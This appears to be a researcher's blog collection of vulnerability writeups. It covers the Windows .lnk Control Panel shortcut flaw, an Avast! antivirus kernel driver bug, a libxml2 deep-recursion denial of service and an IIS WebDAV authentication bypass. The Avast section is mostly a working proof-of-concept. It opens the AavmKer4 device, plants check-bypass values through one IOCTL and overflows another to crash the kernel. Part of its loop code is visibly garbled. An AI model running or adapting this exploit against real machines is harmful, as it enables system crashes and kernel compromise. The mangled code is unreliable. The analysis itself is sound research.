Details about the Lnk vulnerability and the patch

Simulation
I have written a little code using Windows Shell for simulating the process of lnk file. My code load a crafted control panel shortcut file, then extract the icon location, so, dll is loaded and executed automatically.

HRESULT hRes;

UINT _flag;

int _add;

WCHAR wszTemp[MAX_PATH+1];

IShellLink* psl = NULL;

hRes = CoCreateInstance(     CLSID_ShellLink, NULL,

                CLSCTX_INPROC_SERVER,

IID_IShellLink, reinterpret_cast<void**>(&psl));

CComQIPtr<IPersistFile> ipPersistFile(psl);

CComQIPtr<IExtractIconW> iconex;

MultiByteToWideChar(CP_ACP, 0, "H:\\lnk.txt", -1, wszTemp, MAX_PATH);

hRes = ipPersistFile->Load(wszTemp, STGM_READ);

hRes = ipPersistFile->QueryInterface(IID_IExtractIconW, (void**)&iconex);

hRes = iconex->GetIconLocation(GIL_DEFAULTICON, _path, MAX_PATH, &_add, &_flag);

About the patch

With the normal exploitation cases (Explorer browse lnk files), Windows Shell calls to CExtractIcon:: GetIconLocationW () function, this function doesn't use LoadLibrary().

In the case of softwares using my above code, Windows Shell calls still to error function, CCtrlExtIconBase:: GetIconLocationW (), but MS add more a function, CControlPanelFolder:: _IsRegisteredCPLApplet (), which is responsible for checking the valid CPL path.

Interesting

Basically, MS has a good patch. However, there is a more exciting: if you click (double) on the crafted shortcut file, dll is loaded and executed. While, if it is a standard shortcut to dll file, this is not possible because dll is not exe.

Windows .lnk Vulnerability

.lnk file is the format of the Windows’ shortcuts. The vulnerability recently found in this format actually lies in the way Windows processes the Control Panel shortcuts.

Normally, Each Control Panel shortcut is linked to an executable file. For example, shortcut “Automatic Update” is linked to Windows’ update utility. Windows, specifically Windows Shell, will load a PE file with .cpl extension to get icon from its resource to display this shortcut’s icon. In this case, the PE file loaded is “C:\Windows\System32\wuaucpl.cpl”.

Taking advantage of Windows Shell’s loading PE file to display the shortcut’s icon, hacker is able to create a Control Panel shortcut file with a path to a malicious file. When Windows Shell performs the abovementioned steps to display shortcut’s icon, the malicious file will be loaded.

So, to execute an arbitrary malicious file (in this case, it is DLL file), which may be located in a USB drive just like Autorun feature, hacker only needs to create the lnk format with the path in “fake cpl path file” linking to the malicious file.

.lnk Vulnerability Detection Tool here

Avast! Antivirus Kernel Vulnerability

On 02/22/2010, a driver vulnerability of Avast!Antivirus has been detected by Tobias Klein. So, I wrote a poc for bypassing some checks, result in BoSD and I tested successfully with Avast!Antivirus 4.8.1335:

HANDLE hFile;
LPVOID hMem, hTemp;
LPVOID _aavmker4_base = NULL;
DWORD dwReturn;
DWORD_PTR _FakeAdd, _dwTmp;
char szTemp[256] = {0};

//------------------------------------------
// Open Device
hFile = CreateFile( TEXT("\\\\.\\AavmKer4"),
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL);
if(hFile){
// [STEP 1] ---------------------------------
// Get VA AmvmKer4.sys
{
PSYSTEM_MODULE_INFORMATION _sysinfo = NULL;
DWORD _nummodules = 0, _imodule=0;
char* _sysbuf = NULL, *_sysfind = NULL;
ULONG _syslen = 0;
NTSTATUS _ret;

_ret = ZwQuerySystemInformation( SystemModuleInformation,
NULL, 0,
&_syslen );
if(_ret == 0xC0000004){
_sysbuf = new char[_syslen];
_ret = ZwQuerySystemInformation( SystemModuleInformation,
_sysbuf,
_syslen,
&_syslen);
}
if(_ret != STATUS_SUCCESS){
printf("Error\n");
return ;
}

memcpy(&_nummodules, _sysbuf, 4);
if(_nummodules<=0) return; _sysfind = _sysbuf+4; for (_imodule=0; _imodule<_nummodules; _sysinfo =" (PSYSTEM_MODULE_INFORMATION)_sysfind;">ImageName,
"\\SystemRoot\\System32\\Drivers\\Aavmker4.SYS")==0)
{
_aavmker4_base = _sysinfo->Base;
printf("aavmker4: 0x%x\n", (DWORD)_aavmker4_base);
break;
}

_sysfind += sizeof(SYSTEM_MODULE_INFORMATION);
}

if(_sysbuf) delete _sysbuf; _sysbuf = NULL;
}

// [STEP 2] ---------------------------------
// Tobias Klein: Use one of the IOCTLs supported by aavmker4.sys to temporarily
// store arbitrary data at a known kernel space address (the IOCTL
// 0xb2d6001c). This data has to start with the two patterns that are
// checked at [12] and [13].

// Store arbitrary data at a known kernel space address (the IOCTL 0xb2d6001c).
hTemp = VirtualAlloc(NULL, 0x418, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Bypass check
_dwTmp = 0xD0DEAD07;
memcpy((LPVOID)((DWORD_PTR)hTemp), &_dwTmp, 4);
_dwTmp = 0x10BAD0BA;
memcpy((LPVOID)((DWORD_PTR)hTemp+4), &_dwTmp, 4);
_dwTmp = (DWORD_PTR)_aavmker4_base + 0xe69; // BoSD
memcpy((LPVOID)((DWORD_PTR)hTemp+0x18), &_dwTmp, 4);

// IOCLT 0xb2d6001c
DeviceIoControl(hFile, 0xB2D6001C, hTemp, 0x418, hTemp, 0x418, &dwReturn, NULL);

// [STEP 3] ---------------------------------
// Tobias Klein: Send a request to the vulnerable IOCTL. Store a pointer at offset
// 0x870 of the IOCTL data that points to the kernel space address

// Buffer Over and Shellcode
hMem = VirtualAlloc(NULL, 0x878, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// User Defined Kernel Address
_FakeAdd = 0x41424344;
memcpy((LPVOID)((DWORD_PTR)hMem), &_FakeAdd, 4); // ESI Check
_FakeAdd = (DWORD_PTR)_aavmker4_base + 0x2EE0;
memcpy((LPVOID)((DWORD_PTR)hMem+0x870), &_FakeAdd, 4); // ESI Check

// Exploit by IOCTL 0xb2d6001c
DeviceIoControl(hFile, 0xB2D60030, hMem, 0x878, szTemp, sizeof szTemp, &dwReturn, NULL);

CloseHandle(hFile);
}

Reference:
[1] http://trapkit.de/advisories/TKADV2010-003.txt

Libxml2 Denial of Service

Recently, several dangerous vulnerabilities have been discovered in libxml2, the open source of Gnome for parsing xml files (http://xmlsoft.org/). In fact, I’m accidentally interested in these vulnerabilities because I used libxml2 in some my applications. So, I also want to write a demo exploiting.

From patch of Gnome, this error resides in a function of the source parser.c:
xmlParseElementChildrenContenDecl()

Looking at the function’s name, I thought that there was an error in processing DTD ELEMENT declared in the xml file. Let's pay attention to the patch of the fault:

-xmlElementContentPtr
-xmlParseElementChildrenContentDecl (xmlParserCtxtPtr ctxt, int inputchk) {
+static xmlElementContentPtr
+xmlParseElementChildrenContentDeclPriv(xmlParserCtxtPtr ctxt, int inputchk,
+ int depth) {
xmlElementContentPtr ret = NULL, cur = NULL, last = NULL, op = NULL;
const xmlChar *elem;
xmlChar type = 0;
+ if (((depth > 128) && ((ctxt->options & XML_PARSE_HUGE) == 0))
+ (depth > 2048)) {
+ xmlFatalErrMsgInt(ctxt, XML_ERR_ELEMCONTENT_NOT_FINISHED,
+"xmlParseElementChildrenContentDecl : depth %d too deep, use XML_PARSE_HUGE\n",
+ depth);
+ return(NULL);
+ }

The fixed function have one more parameter (depth). So, I guessed this error was due to the fact that ELEMENT declaration was too deep. The result was that the recursive call would consume all the memory and the program could completely crash.

Applications using libxml2 with xml parser functions (xmlReadFile, xmlParseFile…) can lead to denial of service on parsing this file.

Besides, file parser.c also have another error relating notation and enumeration attribute types in a DTD definition.

IIS WebDAV Vulnerability

This is a vulnerability allowing a remote attacker bypass the authentication mechanism of IIS. It's in WebDAV extension.

kcope presented method of exploiting this flaw on milw0rm.com

I tested successfully with TamperData and Hackbar (FireFox Add-on). Thank TamperData and HackBar very much :).

More Informations:

Web-based Distributed Authoring and Versioning, or WebDAV, is a set of extensions to the Hypertext Transfer Protocol (HTTP) that allows users to edit and manage files collaboratively on remote World Wide Web servers. The protocol is defined in RFC 4918. The group of developers responsible for these extensions was also known by the same name and was a working group of the Internet Engineering Task Force (IETF).

(http://en.wikipedia.org/wiki/WebDAV)

Microsoft Advisory: http://www.microsoft.com/technet/security/advisory/971492.mspx

Microsoft Blog: http://blogs.technet.com/srd/archive/2009/05/18/more-information-about-the-iis-authentication-bypass.aspx